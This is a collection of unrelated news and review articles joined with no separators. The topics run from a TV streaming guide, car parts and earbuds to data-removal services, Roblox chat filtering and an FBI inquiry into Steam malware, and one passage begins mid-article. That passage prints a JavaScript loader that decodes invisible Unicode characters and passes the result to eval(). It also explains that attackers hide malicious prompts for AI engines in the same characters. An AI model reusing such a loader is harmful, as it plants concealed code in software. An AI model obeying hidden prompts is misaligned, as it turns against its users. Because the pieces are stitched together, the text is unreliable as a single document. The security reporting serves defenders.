Contrary to popular belief, The Madison is not another Yellowstonespinoff. The neo-Western drama, which stars Michelle Pfeiffer and Kurt Russell as Clyburn family matriarch Stacy and patriarch Preston, was created by Taylor Sheridan and is set predominantly in Montana, but that’s where the similarities end.
The six-part debut series – a follow-up has already been greenlight – can instead be described as a contemplation on grief, with a fish-out-of-water tilt. In the aftermath of an unexpected bereavement, the Clyburns, an affluent New York City family, trade Manhattan for a change of pace in the Madison River valley.
Advertisement
And there isn’t a Dutton in sight.
The family includes Stacy and Preston’s eldest daughter Abigail (Beau Garrett), a recent divorcee with two daughters of her own in Bridget (Amiah Miller) and Macy (Alaina Pollack). Abigail’s cossetted younger sister Paige (Elle Chapman) brings her investment banker husband Russell (Patrick J. Adams) along for the ride.
Between the culture-clash moments, of which there are many, outdoor toilets, bugs and fishing to name a few, The Madison seems determined to build bridges between town and country.
Read on as we explain how to watch The Madison season 1 from anywhere.
Advertisement
How to watch The Madison season 1 in the US, UK, Australia and Canada
How to watch The Madison season 1 from anywhere
If you’re keen to watch The Madison but you’re away from home and access to the show is geo-blocked, you can always use a VPN to access it (assuming you’re not breaching any broadcaster T&Cs, of course). You may be surprised at how simple it is.
A VPN is handy piece of software that can make your device appear as if it’s back in your home country, so you can unlock your usual service. The best VPN right now? We recommend NordVPN – it does everything and comes with a 74% discount and Amazon Gift Card thrown in on some plans.
Advertisement
Use one of the best VPNs to watch The Madison season 1 from anywhere:
The Madison season 1 – Need to Know
Who is in The Madison season 1 cast?
Michelle Pfeiffer as Stacy Clyburn
Kurt Russell as Preston Clyburn
Advertisement
Patrick J. Adams as Russell McIntosh
Elle Chapman as Paige McIntosh
Matthew Fox as Paul Clyburn
Beau Garrett as Abigail Reese
Advertisement
Amiah Miller as Bridgette Reese
Ben Schnetzer as Van Davis
Kevin Zegers as Cade Harris
Rebecca Spence as Liliana Weeks
Advertisement
Alaina Pollack as Macy
Danielle Vasinova as Kestrel Harris
Will Arnett as Dr Phil Yorn
How many episodes of The Madison season 1 are there?
The Madison season 1 comprises six episodes, with the finale set to air on Saturday, March 21.
Advertisement
The Madison season 1 episode guide
Episode 1 – Pilot: Saturday, March 14
Episode 2 – Let the Land Hold Me: Saturday, March 14
Episode 3 – Watch Her Fall: Saturday, March 14
Episode 4 – Tomorrow Is Goodbye: Saturday, March 21
Episode 5 – No Name and a New Dream: Saturday, March 21
Episode 6 – I Give Me Permission: Saturday, March 21
VPN services are evaluated and tested by us in view of legal recreational use. For example: a) Access to services from other countries, (subject to the terms and conditions of that service). b) Safeguarding your online security and making your online privacy more robust when abroad. Future plc does not support nor condone the illegal or malicious use of VPN services. We do not endorse nor approve of consuming pirated content that is paid-for.
Have you ever sat in your Ford Mustang GT or better yet, your Mustang Dark Horse and thought: “I need a supercharger that has a bigger displacement than some entire car engines and gives my car more horsepower than some supercars.”
Well, Ford Racing Parts has just the kit for you. For $10,500, Ford will sell you a 3.0-liter Whipple supercharger kit for the 2024-2026 Ford Mustang GT and Dark Horse. You no longer have to worry about a sketchy build in your garage that might throw a rod through the side of the engine block or melt the intake, because this kit is also covered by a Ford Racing Parts three year/36,000-mile warranty (as long as the kit is installed by a certified technician or a Ford dealership).
Advertisement
With the kit, Ford says it will boost the horsepower to a pretty wild 810 and the torque to 615 pound-feet, if you use 93 octane fuel. Interestingly enough, the kit is not available in California.
Advertisement
Superchargers for everyone
Additionally, Ford offers a supercharger kit for 5.0-liter V8 equipped F-150s from the 2021 to 2026 model years. It is also a 3.0-liter Whipple supercharger. Ford notes that it will boost the power to “only” 700 horsepower and 590 pound-feet of torque. It’s $10,500 as well and carries the same warranty. You will have the fastest Ford truck that isn’t a Raptor and doesn’t say “Shelby” on it by a significant margin.
A turbocharger relies on exhaust gases to spin up what is essentially a compressor to dump air into the engine, a supercharger does the same thing, but instead uses a belt connected to the engine’s crankshaft to spin.
If you’ve ever squinted at your ROG Xbox Ally X’s screen and thought that it could be a little sharper, Xbox (and Microsoft) heard you, loud and clear. In April 2026, the handheld gaming PC will get a free software update that will make your games look better. No hardware updates or additional costs included.
Xbox will release a feature called Automatic Super Resolution or Auto SR — Microsoft’s AI-powered answer to Nvidia’s DLSS and AMD’s FSR — which upscales video games from 720p up to 1080p or more (via Windows Central).
Jacob Roach / Digital Trends
What does the Auto SR feature do?
The feature forces your Ally X to work smarter, not harder, delivering a performance boost of up to 30%. Unlike DLSS and FSR, Auto SR works at the operating system level, implying that developers won’t need to integrate it on a per-game basis. However, the feature still trails Nvidia’s DLSS in outright image quality.
No matter who the developer is or what the game is, Auto SR will simply work, well, mostly. For now, the feature supports DirectX 11 and DirectX 12 games only. But why is it only available on the Xbox Ally X, and not the Xbox Ally?
Jacob Roach / Digital Trends
So, why is it only coming to Ally X?
Well, the Ally X features AMD’s Ryzen AI Z2 Extreme chipset, which, like the modern smartphones or CPUs, also includes a Neural Processing Unit, specifically designed for AI and machine learning workloads.
The feature seems to be relying on Ally X’s NPU to upscale the video games in real-time, without increasing the CPU’s load. Unfortunately, the base model doesn’t have one, which is why the feature is exclusive to the X variant.
Advertisement
One thing that worth pointing out — the April release is technically a preview, not a final, polished rollout. So while the 30% performance figure is exciting, real-world results may vary as Microsoft continues to refine it.
Understandably, concerns around online privacy have continued to grow, so it’s no surprise that more and more users are turning to professional data removal services. They want to regain control of their personal information and manage their online presence consciously.
In 2026, Incogni and Kanary are among the most talked-about options, but each comes with a different approach to the task.
This article will walk you through all the relevant differences between Incogni and Kanary so that you can wholeheartedly trust the right provider.
At a Glance: Incogni vs Kanary (2026)
Aspect
Incogni
Kanary
Starting price
From $15.98 (or $7.99/month when billed annually)
From $9.99
Removal model
Fully automated + recurring suppression cycles
Partially automated (tier-dependent)
Coverage
420+ public and private brokers
300+ harmful sites and overall Google exposure
Free option
30-day money-back guarantee
Free plan (limited functionality), 14-day trial for paid plans, 30-day money-back guarantee
Verification
Deloitte Independent Limited Assurance Assessment, industry recognition, reviews by industry authorities
Reviews by industry authorities
Best for
Hands-off, deep, ongoing protection
Visibility & app-based monitoring
Family plans
Yes
Yes
Enterprise option
Yes
Yes
How They Remove Your Data
Incogni: Set-and-Forget Automation
Incogni is architectured to be a hands-off, background protection service.
Once you sign up and verify your identity, Incogni can act on your behalf and start sending removal requests to hundreds of data brokers. However, it doesn’t stop here; itcontinues to monitor the situation, discovering new sources with your data or resending removal requests to brokers that failed to respond.
Advertisement
It’s vital because some brokers refresh their databases and can re-list your data even months later. Incogni’s system stays on its toes, ready to act for you again. Unlimited plans also include unlimited custom removal requests from 2,000+ additional sites.
Moreover, Incogni is available in 34 countries.
For those wondering whether Incogni really works, the answer is yes, but the key is time. Many removals take weeks, sometimes longer; that’s why automation and follow-ups are essential.
Kanary: Guided Removal With Tier Differences
Kanary takes a different approach. It starts by scanning to find where your personal information exists online. Once it confirms exposure, it can generate removal requests and track responses. Many of these are handled automatically, but in certain cases, Kanary asks you to confirm or complete a request.
There are also significant differences across plans:
Advertisement
Free plan: scans, finding, and removing leaks from the top databases, Google’s cache, and social media
Professional plan: Kanary-managed scans of riskiest sites, up to 7 custom requests a week, reports
Advanced plan: customizable
Kanary operates best for US citizens and residents, or if you have a US address.
Coverage Depth
Incogni
Incogni reports coverage of 420+ brokers and 2,000+ sites with the Unlimited plans. These include public people-search websites and private databases not visible on Google, like:
Marketing directories
Recruitment data vendors
Risk and financial data brokers
This broad reach is important as much personal information gets traded across private databases you never see.
Incogni focuses on both visible and hidden data sources.
Kanary
Kanary covers 300+ sites and databases that include top data brokers, Google’s cache, and social media.
Its biggest strength is scanning public listings and searchable exposure. It also monitors some social media and identity exposure risks and can fix weak privacy settings.
Kanary’s coverage is solid for visible data. Only with a customizable Advanced plan do you get features like breach or dark web monitoring.
Advertisement
Credibility & Recognition
Incogni
Incogni has undergone a Deloitte Independent Limited Assurance assessment, which concluded that all its removal processes work as promised. This adds credibility and reassurance in an industry handling sensitive data, especially since such third-party verification is still extremely rare (if not unique) among data removal service providers.
The company has also received Editors’ Choice awards from PCMag and PCWorld, two major tech publications, as well as multiple positive reviews from industry authorities like TechRadarand Cybernews.
Kanary
Kanary has no public third-party assessment like Incogni. However, it has been reviewed positively by major tech publications, such as TechRadar, PCMag, and other platforms writing about online security. These reviews often highlight Kanary’s ease-of-use and clarity.
Kanary also emphasizes transparency in its product design, guiding its users through all the steps.
Advertisement
User Feedback & Reputation
Incogni
Incogni maintains an “Excellent” rating on Trustpilot with 4.4/5 stars based on over 2,000 reviews. Many reviews note successful removals, a very clear dashboard, helpful and efficient customer support, and ongoing data suppression.
There are some users who complain that removals can take time, though it’s normal in the industry, given broker response times.
Overall, feedback confirms that Incogni works – gradually but meaningfully.
Kanary
Kanary doesn’t have an active Trustpilot listing. The only source of user reviews is displayed on Kanary’s website in the form of testimonials in the Kanary Reviews section.
Advertisement
These short opinions highlight positive experiences with exposure monitoring, progress updates, and the straightforwardness of the whole platform. Many users appreciate the visibility offered at every step of the process.
While we don’t undermine these testimonials, it’s important to remember that they are hosted on the company’s own site. They can provide some helpful insight, but don’t offer the same level of reliability found on independent platforms.
Pricing & Value
Incogni
Incogni’s plans start at $7.99/month when billed annually. If billed monthly, it’s $15.98/month. Higher-tier plans add family coverage and priority handling, but all the features needed for continuous, broad protection are already available with the cheapest plan.
There is no free version, but the company offers a 30-day money-back guarantee to provide its users with a risk-free testing period.
Advertisement
Incogni also offers customizable business plans through Ironwall by Incogni.
Kanary
For users on a budget, Kanary offers a free tier with limited features. It may be a good idea if you’re new to this and want to explore exposure monitoring.
Its paid plans start at $9.99/month, regardless of whether you pay annually or monthly.
There’s also a customizable Advanced plan as well as family and enterprise options.
Advertisement
Ease-of-Use & Support
Incogni
Incogni is built for simplicity. Its dashboard is clean, easy to navigate, and mostly hands-off – you can use it to track progress, but it doesn’t require your engagement to work smoothly. Once you verify your identity, most users report that they don’t need to interact with the platform frequently. Reviews also mention that it’s intuitive and straightforward, especially for non-technical people.
Incogni offers multiple contact channels:
Email support – available to all users (responses come within 24 hours)
Live chat – available to all subscribers 24/7
Phone support available to Unlimited subscribers 24/7
Knowledge Base
Customer feedback notes that Incogni’s customer support is responsive, professional, and to the point.
Kanary
Kanary’s platform is all about guided visibility. Its dashboard clearly shows you where your data appears and how risky this exposure is, which helps users understand the situation and what’s being done – many of them appreciate that.
Kanary also offers a mobile app, though the functionalities between it and the website differ. It still is convenient, as it allows you to monitor exposures and removal statuses on the go (if you have such a need).
Advertisement
Kanary’s only support option is email. It promises to have an agent respond within 24 hours. Dedicated support comes solely with the Advanced plan.
Kanary also supports community support with its online forums and the Kanary Discord.
Users note, however, that differences in response times are visible across plan levels.
Strengths & Limitations
Incogni
Strengths
Limitations
Broad broker coverage
No free tier
Full automation
Phone support only available with Unlimited plans
Wide availability
Recurring removal cycles
Independent Deloitte assurance
Industry recognition
Kanary
Strengths
Limitations
Free plan
Narrow automated coverage
Clear visibility of exposures
Higher premium pricing
Mobile app
No third-party verification
Personal privacy advisors with some higher tiers
User engagement required
US users only
Incogni vs Kanary: Which Makes More Sense in 2026?
Both services are legitimate and may be effective when used consistently.
Advertisement
Kanary is well-suited for users who want visibility and control or a free starting option.
Incogni is better for those who need broader coverage, a hands-off system, and ongoing suppression.
When comparing overall, Incogni currently offers the most comprehensive and long-lasting approach. Kanary remains a good option for those on a budget or valuing engagement.
FAQ
Can these services scrub my details from forums or social media?
Advertisement
Kanary specializes in finding visible exposures on niche sites like forums or Twitch chats. Incogni primarily targets commercial data brokers and commercial databases.
Does the removal process require ongoing user interaction?
Incogni is designed for full automation with minimal user input after setup. Kanary is a guided experience that often requires you to manually approve specific removals or verify broker requests.
Advertisement
Are there regional restrictions for these privacy platforms?
Incogni works across North America and Europe. Kanary is almost exclusively focused on US-based users with a US address history.
The invisible code is rendered with Public Use Areas (sometimes called Public Use Access), which are ranges in the Unicode specification for special characters reserved for private use in defining emojis, flags, and other symbols. The code points represent every letter of the US alphabet when fed to computers, but their output is completely invisible to humans. People reviewing code or using static analysis tools see only whitespace or blank lines. To a JavaScript interpreter, the code points translate into executable code.
The invisible Unicode characters were devised decades ago and then largely forgotten. That is, until 2024, when hackers began using the characters to conceal malicious prompts fed to AI engines. While the text was invisible to humans and text scanners, LLMs had little trouble reading them and following the malicious instructions they conveyed. AI engines have since devised guardrails that are designed to restrict usage of the characters, but such defenses are periodically overridden.
Since then, the Unicode technique has been used in more traditional malware attacks. In one of the packages Aikido analyzed in Friday’s post, the attackers encoded a malicious payload using the invisible characters. Inspection of the code shows nothing. During the JavaScript runtime, however, a small decoder extracts the real bytes and passes them to the eval() function.
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
“The backtick string passed to s() looks empty in every viewer, but it’s packed with invisible characters that, once decoded, produce a full malicious payload,” Aikido explained. “In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets.”
Advertisement
Since finding the new round of packages on GitHub, the researchers have found similar ones on npm and the VS Code marketplace. Aikido said the 151 packages detected are likely a small fraction spread across the campaign because many have been deleted since first being uploaded.
The best way to protect against the scourge of supply-chain attacks is to carefully inspect packages and their dependencies before incorporating them into projects. This includes scrutinizing package names and searching for typos. If suspicions about LLM use are correct, malicious packages may increasingly appear to be legitimate, particularly when invisible unicode characters are encoding malicious payloads.
from the maintaining-civility-and-gameplay-flow dept
The power of the latest generation of AI systems is such that previously impractical applications are not just possible, but scalable. For example, moving beyond basic early AI text translation tools, it is now possible to use live translation to communicate in another language in real time. For many people that will be a real boon, especially when they are traveling. But here’s something that is likely to prove more controversial: real-time rephrasing of profanity within chat. It’s a new AI-powered feature from Roblox that is designed to “keep gameplay fluid while maintaining civility within chat”:
Roblox is leveraging AI to automatically rephrase profanity. Rather than displaying only hashmarks, filtered text will be translated into more respectful language that remains closer to the user’s original intent. For example, a message that violates Roblox’s profanity policies, such as “Hurry TF up!” would previously have appeared as “####” within experience chat. That will now be rephrased to “Hurry up!” This new layer is designed to maintain civility by rephrasing the language and replacing “stop signs” with real-time guidance.
Specifically:
When a message violates Roblox’s profanity policy, everyone in the chat is notified that the text has been rephrased to keep things civil. While rephrasing reduces some of the disruption in the chat, Roblox’s multilayered safety system remains in effect for more serious behavior. Rephrasing is available exclusively for in-experience chat between age-checked users in similar age groups and is supported in all languages currently available through Roblox’s automatic translation tools.
Alongside this new AI-based capability, Roblox is also tweaking its text filtering system:
Early results from Roblox’s testing show significant improvements in detecting leet-speak, or letters replaced with numbers or symbols, and more sophisticated attempts to bypass filters.
Parents may applaud real-time rephrasing as a way for the service to nudge younger users away from bad language in their interaction with others, without stopping them playing altogether. But it creates a dangerous proof of concept that others may build on, particularly in jurisdictions that want stricter controls on what people say online.
Advertisement
It’s easy to imagine situations where Chinese AI systems, for example, rephrase people’s language on social media in real time to promote “social harmony”. Not only the style but even the content’s details could be subtly changed away from controversy towards conformity. It would be possible for rephrasing to be visible only to others, so the person making a comment might not even be aware that their words were being subverted in this way. Something similar is already happening with Chinese AI chatbots that censor their own answers, without acknowledging that fact. As Chinese AI companies become increasingly important players in the online world, this kind of covert rephrasing by them — and others — is another issue people will need to watch out for in our brave new AI world.
As well as owning a surprisingly large range of other tire brands, Michelin also makes a broad range of top-rated tires that are sold under its own brand. One Michelin tire model that gets consistently good reviews is the Pilot Sport 5. It’s an ultra-high performance summer tire, and as well as being impressive on a dry road, it’s also highly rated in wet conditions. However, recent testing data gathered by AutoBild and published by TyreReviews shows that it might not be the very best tire for anyone looking for maximum braking performance.
The 2026 study compared a wide range of 245/45 R19 tires that were fitted to a BMW 5 Series, with the magazine testing their stopping distance in both wet and dry conditions to get a more rounded picture of their performance. The Michelin Pilot Sport 5 tires did perform well in the study, earning a ninth place finish out of 50 tested tires.
However, their stopping distances proved to be a little longer than the very top finishers. From 62 mph, it took the Michelin tires 34.4 meters (112.9 feet) to bring the BMW test vehicle to a stop in dry conditions. A wet conditions test recorded a stopping distance of 27.7 meters (90.9 feet) from 50 mph to standstill.
Advertisement
Several other big brands beat Michelin in the test
Rival performance tire models such as the Hankook Ventus Evo, Nexen N’Fera Sport SU2, and Kumho Ecsta Sport PS72 all needed a shorter distance to stop the car in both wet and dry conditions than the Michelin tires. They took the second, third, and fourth spots in the overall rankings, respectively. However, the first place spot was taken by an unlikely candidate.
Advertisement
Performing exceptionally well in both the wet and dry conditions was the Sport Master tire model by Chinese tire maker Linglong, making it the overall first place finisher in the mass tire test. It posted the third smallest stopping distance in the dry conditions test, and the smallest stopping distance in the wet conditions test. Unlike the other top performers in the study, Linglong isn’t a big name in the U.S., although it has been distributing tires through its North American division for more than two decades.
Linglong manufactures tires in both Thailand and Serbia, although the U.S. Customs and Border Protection agency blocked the import of Linglong tires made in its Serbian factory in December 2025. According to the agency’s statement, this was due to allegations of forced labor in its production process.
Outside of the AutoBild braking test, overall user reviews about the quality of Linglong tires are less than stellar, and plenty of owners say it’s worth avoiding the brand altogether. Given the alleged quality and ethical issues associated with Linglong tires, the Hankook, Nexen, and Kumho models are arguably better choices overall, since they should still prove very effective when braking in both wet and dry conditions.
Video Friday is your weekly selection of awesome robotics videos, collected by your friends at IEEE Spectrum robotics. We also post a weekly calendar of upcoming robotics events for the next few months. Please send us your events for inclusion.
All legged robots deployed “in the wild” to date were given a body plan that was predefined by human designers and could not be redefined in situ. The manual and permanent nature of this process has resulted in very few species of agile terrestrial robots beyond familiar four-limbed forms. Here, we introduce highly athletic modular building blocks and show how they enable the automatic design and rapid assembly of novel agile robots that can “hit the ground running” in unstructured outdoor environments.
Don’t get me wrong, there are some clever things going on here, but I’m still having a lot of trouble seeing where the unique, sustainable value is for a humanoid robot performing these sorts of tasks.
We propose TRIP-Bag (Teleoperation, Recording, Intelligence in a Portable Bag), a portable, puppeteer-style teleoperation system fully contained within a commercial suitcase, as a practical solution for collecting high-fidelity manipulation data across varied settings.
We propose an open-vocabulary semantic exploration system that enables robots to maintain consistent maps and efficiently locate (unseen) objects in semi-static real-world environments using LLM-guided reasoning.
RoboGuard is a general-purpose guardrail for ensuring the safety of LLM-enabled robots. RoboGuard is configured offline with high-level safety rules and a robot description, reasons about how these safety rules are best applied in robot’s context, then synthesizes a plan that maximally follows user preferences while ensuring safety.
In this demonstration, a small team responds to a (simulated) radiation contamination leak at a real nuclear reactor facility. The team deploys their reconfigurable robot to accompany them through the facility. As the station is suddenly plunged into darkness, the robot’s camera is hot-swapped to thermal so that it can continue on. Upon reaching the approximate location of the contamination, the team installs a Compton gamma-ray camera and pan-tilt illuminating device. The robot autonomously steps forward, locates the radiation source, and points it out with the illuminator.
On March 6th, 2025, the Robomechanics Lab at CMU was flooded with 4 feet of black water (i.e. mixed with sewage). We lost most of the robots in the lab, and as a tribute my students put together this “In Memoriam” video. It includes some previously unreleased robots and video clips.
The opening keynote from the 2025 Silicon Valley Humanoids Summit: “Insights Into Disney’s Robotic Character Platform,” by Moritz Baecher, Director, Zurich Lab, Disney Research.
If what you really want is an inexpensive set of earbuds with the novelty of a screen, the Groov-e Neos are some of your only options with this functionality. They’re decently comfortable, have some ANC, and the screen serves some purpose. However, you can do a lot better in terms of audio performance, even at this cheaper end of the market.
Screen has some interesting functions
Solid comfort for extended listening
Decent battery life
Very bassy audio by default
Poor ANC
Key Features
Screen
Touchscreen LCD with built-in apps for EQ, volume, and even a game.
Lightweight
Advertisement
The Neo’s buds weigh just 6g, making them especially light.
Battery life
6 hours from buds, up to 22 hours with charging case.
Introduction
The world of cheap earbuds can be a bit of a gimmick-filled one, although when I saw this set of earbuds with a screen in the case – the Groov-e Neo – I just had to take a look. Okay, I’m a sucker.
Advertisement
Apple had been rumoured to make a set of AirPods with a screen in the case for Apple Music once upon a time, and JBL had a go a few years ago with the JBL Tour Pro 2 and JBL Tour Pro 3 models.
I think this marks the first time I’ve seen a screen in any guise on a set of earbuds that are this affordable, though. The Neo Buds are just £39.99, although you can pick them up closer to £30. That’s very inexpensive for a set of noise-cancelling buds, too, with close rivals such as the Final Audio ZE300 providing a similar feature set, sans screen, for a similar price tag.
Advertisement
Whether these screentastic Groov-e buds can do enough to earn a place in our ranking of the best cheap earbuds remains to be seen – I’ve been putting them through their paces to find out.
Advertisement
Design
There’s a large screen on the front
Reasonable build quality
Comfortable, if slightly unsecure fit
In spite of the novelty screen on the front, the Neo doesn’t differ too much in design from a lot of modern earbuds. We’ve got a rounded case that’s a little squatter and wider than JBL’s screen-based buds, and as with a lot of more affordable choices, it’s giving some major AirPods energy.
As you might expect, the build quality isn’t the last word in premium, but it’s more than fine for the asking price. The case and the earbuds themselves have a lightweight feel in hand, although I am impressed with the heavier weight of the case’s hinge and soft-close action.
Image Credit (Trusted Reviews)
Advertisement
Colour choices for the Neo are either black or a sand-type beige. My sample came in the latter, which I think looks better, and make these different in look to some of their rivals. The case here even comes with an integrated wrist strap if you want to sling the buds around your wrist.
The earbuds themselves weigh in at just six grams each, making them especially light, and they take the AirPods-style form factor with a fit that means the end piece dangles out of your ears, rather than the twist-and-push fit of others.
Image Credit (Trusted Reviews)
With the default tips on, they’re reasonably comfortable and non-fatiguing for a couple of hours, although I don’t think the fitment is as secure as it could be, nor is the seal provided that brilliant.
There isn’t an IP rating for the Neo Buds listed, so I wouldn’t necessarily use them for any workouts or anywhere you might be near water.
Advertisement
Features
Screen feels like a novelty
Noise cancellation is just okay
Reasonable battery life for the price
Advertisement
The big thing with the Neo Buds (let’s face it, it’s hard to ignore) is the screen that adorns the front of the case. As with the dearer alternative from JBL, it provides a means of controlling music and even the earbuds’ functions without needing to dig out your phone.
It’s a touchscreen display that’s okay in terms of responsiveness, that provides access to features such as music playback, EQ settings, Bluetooth pairing, ANC control, a ‘find’ mode and even more novelty elements such as use as a ‘flashlight’ (it turns the screen white), a Calendar and a stopwatch. There’s even a fake Flappy Bird game you can play if you want to.
Image Credit (Trusted Reviews)
Barring the music controls and such, I’m not entirely convinced of its utility. It’s quite a dim screen, and some of the functions didn’t work as intended.
For instance, the camera control turned my volume down, and the screen itself has a black triangle in the bottom left corner that makes some text difficult to read. For some reason, the Neo Buds also started randomly whistling or making noises when I took them out of the case, and the loud noise when swiping on the screen can get annoying very quickly.
For a cheap set of buds, the active noise cancellation is a bonus, although that’s about as good as I can describe it. It isn’t enabled by default, so you’ll need to swipe your way through the screen to enable it. When you do, it dampens more than envelopes me in silence, and things such as my mechanical keyboard and nearby chatter on a train into London were still audible, even if I had my music turned up a smidgen louder than I should.
Advertisement
Advertisement
Image Credit (Trusted Reviews)
Connectivity is handled by Bluetooth 6.0, although I didn’t find they supported any form of multipoint Bluetooth if you wanted to listen on more than one device at the same time. Pairing them with my Honor Magic V3 was at least reasonably easy – flip open the case and hold down on the pairing button on the case until they hook up to your device.
Battery life is rated up to 22 hours total from the buds and case, which is perfectly cromulent for a set of affordable buds. It’s in and around the same as Final’s choice, and means you’ll get a couple of full days of listening before needing to recharge. For reference, it’s six hours from the buds and a further 16 from the charging case.
Sound Quality
Very heavy-handed with the bass by default
Lacking in detail and width
EQ presets make things somewhat better
If the likes of the Final Audio ZE300 are more reference-style earbuds at this price, then the Neos are the musical equivalent of somebody hitting you over the head with a sledgehammer. By default, I found them to be very bass-heavy to the point that it encroached too much on the rest of any tracks I listened to.
For instance, even in spinning up mellower, acoustic-driven tracks such as Down The Road from Mac McAnally, there seemed quite the imbalance between the pounding low-end frequencies and his lighter vocal, and the track’s inflexions of acoustic guitar.
Advertisement
Advertisement
Image Credit (Trusted Reviews)
Granted, it works better for my rotation of heavier rock tracks, such as Rush’s YYZ, although the song’s bass runs still overtook most of the other substance that was here. With a narrower soundstage, I also found that a lot of the sound to meld together into one, making it a less enjoyable listen.
To boot, vocals from the likes of James Taylor’s October Road felt very much pushed back in the mix against the bass, leaving a fair amount of clarity, depth and detail on the table. The song’s top-end percussion elements also lacked a certain sparkle and attack, feeling too smoothed over; it was a similar story with Steely Dan’s Do It Again.
Image Credit (Trusted Reviews)
You’ll get better mileage out of the Neos if you enable the ‘Popular’ EQ setting from the screen. This seems to even things out a smidgen, bringing vocals and the associated mid-range a little more into play, and lessening the looming threat of the low end. If you decide to use the Neo Buds, make changing the EQ preset a matter of urgency.
Advertisement
Should you buy it?
The novelty of the Neo Buds is the screen, and if you want the fun of it on an inexpensive set of noise-cancelling earbuds, then these hit the spot.
Advertisement
The default sound signature of the Neo is far too bass-heavy to make it an enjoyable listen, and EQ presets can only do so much to help out.
Advertisement
Final Thoughts
If what you really want is an inexpensive set of earbuds with the novelty of a screen, the Groov-e Neo Buds are some of your only options with this functionality. They’re decently comfortable, have ANC, and the screen serves a purpose. However, you can do a lot better in terms of audio performance, even at this end of the market.
For instance, the Final Audio ZE300 carry the same RRP, and have more of a balanced and neutral sound, plus more capable ANC and better build quality. If ANC isn’t too much of a concern, then also consider the Sony WF-C510 with an extensive app and longer battery life. For more choices, check out the list of the best cheap earbuds.
How We Test
We test every pair of headphones we review thoroughly over an extended period of time. We use industry-standard tests to compare features properly. We’ll always tell you what we find. We never, ever, accept money to review a product.
Find out more about how we test in our ethics policy.
Advertisement
Tested for two weeks
Tested with real world use
Battery life test carried out
FAQs
Does the Groov-e Neo have ANC?
Yes, the Groov-e Neo has ANC, or active noise cancelling.
The Beats Studio Pro is down to $169.95 at Amazon right now in a limited-time deal, which is $180 off the $349.99 list price. That’s a 51% cut on a pair of over-ear headphones that offer active noise canceling, 40-hour battery life, and USB-C lossless audio in a package that works equally well with Apple and Android devices. It’s a lot to like at under $170.
What you’re getting
The Studio Pro is the most fully featured headphone Beats has put out, and a lot of that comes down to the USB-C lossless audio capability, which is a genuine differentiator at this price. When wired, you’re bypassing Bluetooth compression entirely and getting a cleaner signal, which matters if you’re connecting to a laptop or a device with a USB-C port and care about audio quality beyond casual listening.
Wireless performance is covered by both Bluetooth 5.3 and Apple’s proprietary one-tap pairing, so switching between an iPhone and an Android device is straightforward rather than a hassle. The active noise canceling handles everyday environments well, and the transparency mode is useful enough to actually use rather than ignore. Battery life sits at 40 hours with ANC off and around 24 hours with it on, either of which is comfortably above average for this category.
The build is comfortable for extended wear, with plush ear cushions and an adjustable headband that doesn’t feel cheap. Beats has cleaned up the design considerably from earlier Studio models, and the result is a headphone that travels well and looks the part.
Advertisement
Why it’s worth it
At $349.99, the Studio Pro has to justify itself against the Sony WH-1000XM5 and Bose QuietComfort 45, and that’s a hard conversation. At $169.95, it’s operating in a different bracket entirely, and nothing else at this price matches the combination of lossless wired audio, solid ANC, and seamless dual-ecosystem compatibility. This is a limited-time price, so it’s worth moving on sooner rather than later.
The bottom line
The Beats Studio Pro at $169.95 is one of the more well-rounded headphone deals available right now. You’re getting ANC, 40-hour battery life, USB-C lossless audio, and broad device compatibility at half the usual asking price, which is the kind of discount that makes this an easy call before the deal expires.
The FBI is asking gamers who installed Steam titles containing malware to provide information as part of an ongoing investigation into eight malicious games uploaded to the gaming platform.
In a notice published today by the FBI’s Seattle Division, the agency said it is attempting to identify individuals who were affected after installing one of the malicious games on Steam between May 2024 and January 2026.
“The FBI’s Seattle Division is seeking to identify potential victims installing Steam games embedded with malware. The FBI believes the threat actor primarily targeted users between the timeframe of May 2024 and January 2026,” reads the notice.
“In the investigation, several games have been identified to include, BlockBlasters, Chemia, Dashverse/DashFPS, Lampy, Lunara, PirateFi, and Tokenova.”
Advertisement
“If you and/or your minor dependent(s) were victimized from installing one of these games or have information relevant to this investigation, please fill out this short form.”
The questionnaire indicates that the FBI is focused on cryptocurrency theft and account hijacks after the installation of the malware, asking questions about cryptocurrency transactions, compromised accounts, and stolen funds.
The form also asks for any screenshots of communications with individuals who promoted the games, which could help investigators track the stolen cryptocurrency and trace it to those who distributed the malware.
“The FBI is legally mandated to identify victims of federal crimes it investigates. Victims may be eligible for certain services, restitution, and rights under federal and/or state law. All identities of victims will be kept confidential,” the FBI told BleepingComputer.
Advertisement
“The website and email listed in the mass notifications sent on March 12, 2026, are official and authorized by the FBI. At this time, the FBI is unable to provide specific details beyond the information referenced on the website in the email notification to customers.”
The FBI is also asking anyone who knows someone who may have been affected to encourage them to submit an inquiry to Steam_Malware@fbi.gov.
BleepingComputer also sent questions to Valve about the investigation, but did not receive a reply to our email.
Malware hidden in Steam games
Multiple malicious games discovered on Steam over the past two years have distributed information-stealing malware designed to harvest credentials, cryptocurrency wallets, and other sensitive data from players’ devices.
Advertisement
One of the most notable cases involved BlockBlasters, a free-to-play 2D platformer available on Steam from July to September 2024. While initially uploaded to Steam as a clean program, cryptodrainer malware was later added to the game.
The malicious game on Steam
News that the Steam game was malicious was revealed during a livestream by video game streamer Raivo Plavnieks (RastalandTV), who was raising money for cancer treatment.
After downloading the verified Steam game, the streamer reported losing more than $32,000 from his cryptocurrency wallet.
Blockchain investigator ZachXBT later estimated that attackers stole roughly $150,000 from 261 Steam accounts. Cybersecurity researcher VX-Underground later reported a higher count of 478 victims.
In the malicious Chemia survival crafting game, a threat actor known as EncryptHub added the HijackLoader malware, which downloaded the Vidar information stealer. It was later discovered that the game also installed EncryptHub’s custom Fickle Stealer malware, which steals credentials, browser data, cookies, and cryptocurrency wallets.
Steam later warned players who launched the game that malicious files may have been executed on their computers and advised them to run antivirus scans, review installed software, and consider reinstalling their operating system.
Malware is getting smarter. The Red Report 2026 reveals how new threats use math to detect sandboxes and hide in plain sight.
Download our analysis of 1.1 million malicious samples to uncover the top 10 techniques and see if your security stack is blinded.